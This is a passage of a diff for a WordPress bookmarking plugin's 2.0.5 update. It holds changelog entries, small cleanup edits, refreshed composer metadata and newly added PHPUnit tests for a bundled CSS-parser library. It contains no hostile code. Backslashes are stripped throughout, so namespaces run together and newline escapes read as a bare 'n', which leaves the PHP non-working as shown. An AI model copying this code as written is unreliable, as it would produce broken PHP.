-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+
 use CBXWPBookmarkScopedIlluminateDatabaseEloquentModel as Eloquent;

 /**
--- a/cbxwpbookmark/includes/Widgets/Block/CBXWPBookmarkBtnBlock.php
+++ b/cbxwpbookmark/includes/Widgets/Block/CBXWPBookmarkBtnBlock.php
@@ -5,7 +5,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+

 /**
  * CBX Bookmark - Bookmark button Block Widget
--- a/cbxwpbookmark/includes/Widgets/Block/CBXWPBookmarkCategoryBlock.php
+++ b/cbxwpbookmark/includes/Widgets/Block/CBXWPBookmarkCategoryBlock.php
@@ -5,7 +5,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+

 /**
  * CBX Bookmarks - Bookmark Category Block Widget
--- a/cbxwpbookmark/includes/Widgets/Block/CBXWPBookmarkMostBlock.php
+++ b/cbxwpbookmark/includes/Widgets/Block/CBXWPBookmarkMostBlock.php
@@ -5,7 +5,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+

 /**
  * CBX Bookmark - Most Bookmarked Post Block Widget
--- a/cbxwpbookmark/includes/Widgets/Block/CBXWPBookmarkMyBookmarkBlock.php
+++ b/cbxwpbookmark/includes/Widgets/Block/CBXWPBookmarkMyBookmarkBlock.php
@@ -5,7 +5,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+

 /**
  * CBX Bookmarks - My Bookmark Block Widget
--- a/cbxwpbookmark/includes/Widgets/Vc/CBXWPBookmarkMostVCWidget.php
+++ b/cbxwpbookmark/includes/Widgets/Vc/CBXWPBookmarkMostVCWidget.php
@@ -2,6 +2,8 @@
 namespace CBXWPBookmarkWidgetsVc;

 // Prevent direct file access
+
+
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
@@ -83,7 +85,7 @@
 					'admin_label' => false, //it must be false
 					'heading'     => esc_html__( 'Post type(s)', 'cbxwpbookmark' ),
 					'param_name'  => 'type',
-					'value'       => CBXWPBookmarkHelper::post_types_plain_r(),
+					'value'       => CBXWPBookmarkHelper::post_types_plain_r(),
 					'std'         => [],
 				],
 				[
--- a/cbxwpbookmark/includes/Widgets/Vc/CBXWPBookmarkMyBookmarkVCWidget.php
+++ b/cbxwpbookmark/includes/Widgets/Vc/CBXWPBookmarkMyBookmarkVCWidget.php
@@ -2,6 +2,8 @@
 namespace CBXWPBookmarkWidgetsVc;

 // Prevent direct file access
+
+
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
@@ -84,7 +86,7 @@
 					'admin_label' => false, //it must be false
 					'heading'     => esc_html__( 'Post type(s)', 'cbxwpbookmark' ),
 					'param_name'  => 'type',
-					'value'       => CBXWPBookmarkHelper::post_types_plain_r(),
+					'value'       => CBXWPBookmarkHelper::post_types_plain_r(),
 					'std'         => [],
 				],
 				[
--- a/cbxwpbookmark/templates/admin/support.php
+++ b/cbxwpbookmark/templates/admin/support.php
@@ -83,6 +83,17 @@
                     <div class="content">
                         <div class="cbx-backend-settings-row">
                             <p>
+                                Version - 2.0.5
+                            </p>
+                            <ul>
+                                <li>[fixed] VC widget error fixed</li>
+                                <li>[updated] WordPress 6.9 compatible</li>
+                                <li>[updated] Pro Addon 2.0.5 released</li>
+                                <li>[new] Pro addon now supports automatic update [check setting]</li>
+                            </ul>
+                        </div>
+                        <div class="cbx-backend-settings-row">
+                            <p>
                                 Version - 2.0.4
                             </p>
                             <ul>
@@ -129,6 +140,17 @@
                     <div class="content">
                         <div class="cbx-backend-settings-row">
                             <p>
+                                Version - 2.0.5
+                            </p>
+                            <ul>
+                                <li>[fixed] VC widget error fixed</li>
+                                <li>[updated] WordPress 6.9 compatible</li>
+                                <li>[updated] Core plugin 2.0.5 released</li>
+                                <li>[new] Pro addon now supports automatic update [check setting]</li>
+                            </ul>
+                        </div>
+                        <div class="cbx-backend-settings-row">
+                            <p>
                                 Version - 2.0.4
                             </p>
                             <ul>
--- a/cbxwpbookmark/uninstall.php
+++ b/cbxwpbookmark/uninstall.php
@@ -5,7 +5,7 @@
  * Fired when the plugin is uninstalled.
  *
  *
- * @link       http://codeboxr.com
+ * @link       https://codeboxr.com
  * @since      1.0.0
  *
  * @package    cbxwpbookmark
--- a/cbxwpbookmark/vendor/composer/installed.php
+++ b/cbxwpbookmark/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace CBXWPBookmarkScoped;

-return array('root' => array('name' => 'cbx/bookmark', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '557cb5d612d7414734dc6ebde52e33d73a6e030f', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('carbonphp/carbon-doctrine-types' => array('pretty_version' => '3.2.0', 'version' => '3.2.0.0', 'reference' => '18ba5ddfec8976260ead6e866180bd5d2f71aa1d', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'cbx/bookmark' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '557cb5d612d7414734dc6ebde52e33d73a6e030f', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/inflector' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '6d6c96277ea252fc1304627204c3d5e6e15faa3b', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/inflector', 'aliases' => array(), 'dev_requirement' => false), 'enshrined/svg-sanitize' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'c1ad90f6a3819ec40fb98fff0193f14fdeab35c8', 'type' => 'library', 'install_path' => __DIR__ . '/../enshrined/svg-sanitize', 'aliases' => array(0 => '9999999-dev'), 'dev_requirement' => false), 'illuminate/collections' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '705a4e1ef93cd492c45b9b3e7911cccc990a07f4', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/collections', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/container' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '14062628d05f75047c5a1360b9350028427d568e', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/container', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/contracts' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '5e0fd287a1b22a6b346a9f7cd484d8cf0234585d', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/contracts', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/database' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '1a5b0e4e6913415464fa2aab554a38b9e6fa44b1', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/database', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/macroable' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => 'aed81891a6e046fdee72edd497f822190f61c162', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/macroable', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/pagination' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '16fe8dc35f9d18c58a3471469af656a02e9ab692', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/pagination', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/support' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '1c79242468d3bbd9a0f7477df34f9647dde2a09b', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/support', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v7.3.0', 'version' => '7.3.0.0', 'reference' => '6e00d9d8235e8cc8eec857e8dcd6cfeefdfd0cd6', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/simple-cache' => array('pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), 'dev_requirement' => false), 'rakit/validation' => array('pretty_version' => 'v1.4.0', 'version' => '1.4.0.0', 'reference' => 'ff003a35cdf5030a5f2482299f4c93f344a35b29', 'type' => 'library', 'install_path' => __DIR__ . '/../rakit/validation', 'aliases' => array(), 'dev_requirement' => false), 'sabberworm/php-css-parser' => array('pretty_version' => 'v8.9.0', 'version' => '8.9.0.0', 'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'symfony/console' => array('dev_requirement' => false, 'replaced' => array(0 => '*')), 'symfony/css-selector' => array('pretty_version' => 'v7.3.6', 'version' => '7.3.6.0', 'reference' => '84321188c4754e64273b46b406081ad9b18e8614', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '6d857f4d76bd4b343eac26d6b539585d2bc56493', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('dev_requirement' => false, 'replaced' => array(0 => '*')), 'symfony/translation-contracts' => array('dev_requirement' => false, 'replaced' => array(0 => '*')), 'voku/portable-ascii' => array('pretty_version' => '1.6.1', 'version' => '1.6.1.0', 'reference' => '87337c91b9dfacee02452244ee14ab3c43bc485a', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/portable-ascii', 'aliases' => array(), 'dev_requirement' => false)));
+return array('root' => array('name' => 'cbx/bookmark', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '80ced1ab3084be31f1f81a34b65f856bff34ee2e', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('carbonphp/carbon-doctrine-types' => array('pretty_version' => '3.2.0', 'version' => '3.2.0.0', 'reference' => '18ba5ddfec8976260ead6e866180bd5d2f71aa1d', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'cbx/bookmark' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '80ced1ab3084be31f1f81a34b65f856bff34ee2e', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/inflector' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '6d6c96277ea252fc1304627204c3d5e6e15faa3b', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/inflector', 'aliases' => array(), 'dev_requirement' => false), 'enshrined/svg-sanitize' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'c1ad90f6a3819ec40fb98fff0193f14fdeab35c8', 'type' => 'library', 'install_path' => __DIR__ . '/../enshrined/svg-sanitize', 'aliases' => array(0 => '9999999-dev'), 'dev_requirement' => false), 'illuminate/collections' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '705a4e1ef93cd492c45b9b3e7911cccc990a07f4', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/collections', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/container' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '14062628d05f75047c5a1360b9350028427d568e', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/container', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/contracts' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '5e0fd287a1b22a6b346a9f7cd484d8cf0234585d', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/contracts', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/database' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '1a5b0e4e6913415464fa2aab554a38b9e6fa44b1', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/database', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/macroable' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => 'aed81891a6e046fdee72edd497f822190f61c162', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/macroable', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/pagination' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '16fe8dc35f9d18c58a3471469af656a02e9ab692', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/pagination', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/support' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '1c79242468d3bbd9a0f7477df34f9647dde2a09b', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/support', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v7.3.0', 'version' => '7.3.0.0', 'reference' => '6e00d9d8235e8cc8eec857e8dcd6cfeefdfd0cd6', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/simple-cache' => array('pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), 'dev_requirement' => false), 'rakit/validation' => array('pretty_version' => 'v1.4.0', 'version' => '1.4.0.0', 'reference' => 'ff003a35cdf5030a5f2482299f4c93f344a35b29', 'type' => 'library', 'install_path' => __DIR__ . '/../rakit/validation', 'aliases' => array(), 'dev_requirement' => false), 'sabberworm/php-css-parser' => array('pretty_version' => 'v8.9.0', 'version' => '8.9.0.0', 'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'symfony/console' => array('dev_requirement' => false, 'replaced' => array(0 => '*')), 'symfony/css-selector' => array('pretty_version' => 'v7.4.0', 'version' => '7.4.0.0', 'reference' => 'ab862f478513e7ca2fe9ec117a6f01a8da6e1135', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '6d857f4d76bd4b343eac26d6b539585d2bc56493', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.33.0', 'version' => '1.33.0.0', 'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('dev_requirement' => false, 'replaced' => array(0 => '*')), 'symfony/translation-contracts' => array('dev_requirement' => false, 'replaced' => array(0 => '*')), 'voku/portable-ascii' => array('pretty_version' => '1.6.1', 'version' => '1.6.1.0', 'reference' => '87337c91b9dfacee02452244ee14ab3c43bc485a', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/portable-ascii', 'aliases' => array(), 'dev_requirement' => false)));
--- a/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/CSSList/AtRuleBlockListTest.php
+++ b/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/CSSList/AtRuleBlockListTest.php
@@ -0,0 +1,103 @@
+<?php
+
+namespace CBXWPBookmarkScopedSabberwormCSSTestsCSSList;
+
+use PHPUnitFrameworkTestCase;
+use CBXWPBookmarkScopedSabberwormCSSCommentCommentable;
+use CBXWPBookmarkScopedSabberwormCSSCSSListAtRuleBlockList;
+use CBXWPBookmarkScopedSabberwormCSSParser;
+use CBXWPBookmarkScopedSabberwormCSSRenderable;
+use CBXWPBookmarkScopedSabberwormCSSSettings;
+/**
+ * @covers SabberwormCSSCSSListAtRuleBlockList
+ */
+final class AtRuleBlockListTest extends TestCase
+{
+    /**
+     * @return array<string, array{0: string}>
+     */
+    public static function provideMinWidthMediaRule()
+    {
+        return ['without spaces around arguments' => ['@media(min-width: 768px){.class{color:red}}'], 'with spaces around arguments' => ['@media (min-width: 768px) {.class{color:red}}']];
+    }
+    /**
+     * @return array<string, array{0: string}>
+     */
+    public static function provideSyntacticlyCorrectAtRule()
+    {
+        return ['media print' => ['@media print { html { background: white; color: black; } }'], 'keyframes' => ['@keyframes mymove { from { top: 0px; } }'], 'supports' => ['
+                    @supports (display: flex) {
+                        .flex-container > * {
+                            text-shadow: 0 0 2px blue;
+                            float: none;
+                        }
+                        .flex-container {
+                            display: flex;
+                        }
+                    }
+                ']];
+    }
+    /**
+     * @test
+     */
+    public function implementsAtRule()
+    {
+        $subject = new AtRuleBlockList('');
+        self::assertInstanceOf(AtRuleBlockList::class, $subject);
+    }
+    /**
+     * @test
+     */
+    public function implementsRenderable()
+    {
+        $subject = new AtRuleBlockList('');
+        self::assertInstanceOf(Renderable::class, $subject);
+    }
+    /**
+     * @test
+     */
+    public function implementsCommentable()
+    {
+        $subject = new AtRuleBlockList('');
+        self::assertInstanceOf(Commentable::class, $subject);
+    }
+    /**
+     * @test
+     *
+     * @param string $css
+     *
+     * @dataProvider provideMinWidthMediaRule
+     */
+    public function parsesRuleNameOfMediaQueries($css)
+    {
+        $contents = (new Parser($css))->parse()->getContents();
+        $atRuleBlockList = $contents[0];
+        self::assertSame('media', $atRuleBlockList->atRuleName());
+    }
+    /**
+     * @test
+     *
+     * @param string $css
+     *
+     * @dataProvider provideMinWidthMediaRule
+     */
+    public function parsesArgumentsOfMediaQueries($css)
+    {
+        $contents = (new Parser($css))->parse()->getContents();
+        $atRuleBlockList = $contents[0];
+        self::assertSame('(min-width: 768px)', $atRuleBlockList->atRuleArgs());
+    }
+    /**
+     * @test
+     *
+     * @param string $css
+     *
+     * @dataProvider provideMinWidthMediaRule
+     * @dataProvider provideSyntacticlyCorrectAtRule
+     */
+    public function parsesSyntacticlyCorrectAtRuleInStrictMode($css)
+    {
+        $contents = (new Parser($css, Settings::create()->beStrict()))->parse()->getContents();
+        self::assertNotEmpty($contents, 'Failing CSS: `' . $css . '`');
+    }
+}
--- a/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/CSSList/DocumentTest.php
+++ b/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/CSSList/DocumentTest.php
@@ -0,0 +1,120 @@
+<?php
+
+namespace CBXWPBookmarkScopedSabberwormCSSTestsCSSList;
+
+use PHPUnitFrameworkTestCase;
+use CBXWPBookmarkScopedSabberwormCSSCommentCommentable;
+use CBXWPBookmarkScopedSabberwormCSSCSSListDocument;
+use CBXWPBookmarkScopedSabberwormCSSRenderable;
+use CBXWPBookmarkScopedSabberwormCSSRuleSetDeclarationBlock;
+/**
+ * @covers SabberwormCSSCSSListDocument
+ */
+final class DocumentTest extends TestCase
+{
+    /**
+     * @var Document
+     */
+    private $subject;
+    private function setUpTestcase()
+    {
+        $this->subject = new Document();
+    }
+    /**
+     * @test
+     */
+    public function implementsRenderable()
+    {
+        $this->setUpTestcase();
+        self::assertInstanceOf(Renderable::class, $this->subject);
+    }
+    /**
+     * @test
+     */
+    public function implementsCommentable()
+    {
+        $this->setUpTestcase();
+        self::assertInstanceOf(Commentable::class, $this->subject);
+    }
+    /**
+     * @test
+     */
+    public function getContentsInitiallyReturnsEmptyArray()
+    {
+        $this->setUpTestcase();
+        self::assertSame([], $this->subject->getContents());
+    }
+    /**
+     * @return array<string, array<int, array<int, DeclarationBlock>>>
+     */
+    public static function contentsDataProvider()
+    {
+        return ['empty array' => [[]], '1 item' => [[new DeclarationBlock()]], '2 items' => [[new DeclarationBlock(), new DeclarationBlock()]]];
+    }
+    /**
+     * @test
+     *
+     * @param array<int, DeclarationBlock> $contents
+     *
+     * @dataProvider contentsDataProvider
+     */
+    public function setContentsSetsContents(array $contents)
+    {
+        $this->setUpTestcase();
+        $this->subject->setContents($contents);
+        self::assertSame($contents, $this->subject->getContents());
+    }
+    /**
+     * @test
+     */
+    public function setContentsReplacesContentsSetInPreviousCall()
+    {
+        $this->setUpTestcase();
+        $contents2 = [new DeclarationBlock()];
+        $this->subject->setContents([new DeclarationBlock()]);
+        $this->subject->setContents($contents2);
+        self::assertSame($contents2, $this->subject->getContents());
+    }
+    /**
+     * @test
+     */
+    public function insertContentBeforeInsertsContentBeforeSibbling()
+    {
+        $this->setUpTestcase();
+        $bogusOne = new DeclarationBlock();
+        $bogusOne->setSelectors('.bogus-one');
+        $bogusTwo = new DeclarationBlock();
+        $bogusTwo->setSelectors('.bogus-two');
+        $item = new DeclarationBlock();
+        $item->setSelectors('.item');
+        $sibling = new DeclarationBlock();
+        $sibling->setSelectors('.sibling');
+        $this->subject->setContents([$bogusOne, $sibling, $bogusTwo]);
+        self::assertCount(3, $this->subject->getContents());
+        $this->subject->insertBefore($item, $sibling);
+        self::assertCount(4, $this->subject->getContents());
+        self::assertSame([$bogusOne, $item, $sibling, $bogusTwo], $this->subject->getContents());
+    }
+    /**
+     * @test
+     */
+    public function insertContentBeforeAppendsIfSibblingNotFound()
+    {
+        $this->setUpTestcase();
+        $bogusOne = new DeclarationBlock();
+        $bogusOne->setSelectors('.bogus-one');
+        $bogusTwo = new DeclarationBlock();
+        $bogusTwo->setSelectors('.bogus-two');
+        $item = new DeclarationBlock();
+        $item->setSelectors('.item');
+        $sibling = new DeclarationBlock();
+        $sibling->setSelectors('.sibling');
+        $orphan = new DeclarationBlock();
+        $orphan->setSelectors('.forever-alone');
+        $this->subject->setContents([$bogusOne, $sibling, $bogusTwo]);
+        self::assertCount(3, $this->subject->getContents());
+        $this->subject->insertBefore($item, $orphan);
+        self::assertCount(4, $this->subject->getContents());
+        self::assertSame([$bogusOne, $sibling, $bogusTwo, $item], $this->subject->getContents());
+    }
+}
--- a/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/CSSList/KeyFrameTest.php
+++ b/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/CSSList/KeyFrameTest.php
@@ -0,0 +1,47 @@
+<?php
+
+namespace CBXWPBookmarkScopedSabberwormCSSTestsCSSList;
+
+use PHPUnitFrameworkTestCase;
+use CBXWPBookmarkScopedSabberwormCSSCommentCommentable;
+use CBXWPBookmarkScopedSabberwormCSSCSSListKeyFrame;
+use CBXWPBookmarkScopedSabberwormCSSPropertyAtRule;
+use CBXWPBookmarkScopedSabberwormCSSRenderable;
+/**
+ * @covers SabberwormCSSCSSListKeyFrame
+ */
+final class KeyFrameTest extends TestCase
+{
+    /**
+     * @var KeyFrame
+     */
+    protected $subject;
+    private function setUpTestcase()
+    {
+        $this->subject = new KeyFrame();
+    }
+    /**
+     * @test
+     */
+    public function implementsAtRule()
+    {
+        $this->setUpTestcase();
+        self::assertInstanceOf(AtRule::class, $this->subject);
+    }
+    /**
+     * @test
+     */
+    public function implementsRenderable()
+    {
+        $this->setUpTestcase();
+        self::assertInstanceOf(Renderable::class, $this->subject);
+    }
+    /**
+     * @test
+     */
+    public function implementsCommentable()
+    {
+        $this->setUpTestcase();
+        self::assertInstanceOf(Commentable::class, $this->subject);
+    }
+}
--- a/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/Comment/CommentTest.php
+++ b/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/Comment/CommentTest.php
@@ -0,0 +1,144 @@
+<?php
+
+namespace CBXWPBookmarkScopedSabberwormCSSTestsComment;
+
+use PHPUnitFrameworkTestCase;
+use CBXWPBookmarkScopedSabberwormCSSCommentComment;
+use CBXWPBookmarkScopedSabberwormCSSOutputFormat;
+use CBXWPBookmarkScopedSabberwormCSSRenderable;
+use CBXWPBookmarkScopedSabberwormCSSTestsParserTest as TestsParserTest;
+/**
+ * @covers SabberwormCSSCommentComment
+ * @covers SabberwormCSSCommentCommentable
+ * @covers SabberwormCSSOutputFormat
+ * @covers SabberwormCSSOutputFormatter
+ */
+final class CommentTest extends TestCase
+{
+    /**
+     * @test
+     */
+    public function implementsRenderable()
+    {
+        $subject = new Comment();
+        self::assertInstanceOf(Renderable::class, $subject);
+    }
+    /**
+     * @test
+     */
+    public function getCommentOnEmptyInstanceReturnsReturnsEmptyString()
+    {
+        $subject = new Comment();
+        self::assertSame('', $subject->getComment());
+    }
+    /**
+     * @test
+     */
+    public function getCommentInitiallyReturnsCommentPassedToConstructor()
+    {
+        $comment = 'There is no spoon.';
+        $subject = new Comment($comment);
+        self::assertSame($comment, $subject->getComment());
+    }
+    /**
+     * @test
+     */
+    public function setCommentSetsComments()
+    {
+        $comment = 'There is no spoon.';
+        $subject = new Comment();
+        $subject->setComment($comment);
+        self::assertSame($comment, $subject->getComment());
+    }
+    /**
+     * @test
+     */
+    public function getLineNoOnEmptyInstanceReturnsReturnsZero()
+    {
+        $subject = new Comment();
+        self::assertSame(0, $subject->getLineNo());
+    }
+    /**
+     * @test
+     */
+    public function getLineNoInitiallyReturnsLineNumberPassedToConstructor()
+    {
+        $lineNumber = 42;
+        $subject = new Comment('', $lineNumber);
+        self::assertSame($lineNumber, $subject->getLineNo());
+    }
+    /**
+     * @test
+     */
+    public function toStringRendersCommentEnclosedInCommentDelimiters()
+    {
+        $comment = 'There is no spoon.';
+        $subject = new Comment();
+        $subject->setComment($comment);
+        self::assertSame('/*' . $comment . '*/', (string) $subject);
+    }
+    /**
+     * @test
+     */
+    public function renderRendersCommentEnclosedInCommentDelimiters()
+    {
+        $comment = 'There is no spoon.';
+        $subject = new Comment();
+        $subject->setComment($comment);
+        self::assertSame('/*' . $comment . '*/', $subject->render(new OutputFormat()));
+    }
+    /**
+     * @test
+     */
+    public function keepCommentsInOutput()
+    {
+        $oCss = TestsParserTest::parsedStructureForFile('comments');
+        self::assertSame('/** Number 11 **/
+
+/**
+ * Comments
+ */
+
+/* Hell */
+@import url("some/url.css") screen;
+
+/* Number 4 */
+
+/* Number 5 */
+.foo, #bar {
+	/* Number 6 */
+	background-color: #000;
+}
+
+@media screen {
+	/** Number 10 **/
+	#foo.bar {
+		/** Number 10b **/
+		position: absolute;
+	}
+}
+', $oCss->render(OutputFormat::createPretty()));
+        self::assertSame('/** Number 11 **//**' . "n" . ' * Comments' . "n" . ' *//* Hell */@import url("some/url.css") screen;' . '/* Number 4 *//* Number 5 */.foo,#bar{' . '/* Number 6 */background-color:#000;}@media screen{' . '/** Number 10 **/#foo.bar{/** Number 10b **/position:absolute;}}', $oCss->render(OutputFormat::createCompact()->setRenderComments(true)));
+    }
+    /**
+     * @test
+     */
+    public function stripCommentsFromOutput()
+    {
+        $oCss = TestsParserTest::parsedStructureForFile('comments');
+        self::assertSame('
+@import url("some/url.css") screen;
+
+.foo, #bar {
+	background-color: #000;
+}
+
+@media screen {
+	#foo.bar {
+		position: absolute;
+	}
+}
+', $oCss->render(OutputFormat::createPretty()->setRenderComments(false)));
+        self::assertSame('@import url("some/url.css") screen;' . '.foo,#bar{background-color:#000;}' . '@media screen{#foo.bar{position:absolute;}}', $oCss->render(OutputFormat::createCompact()));
+    }
+}
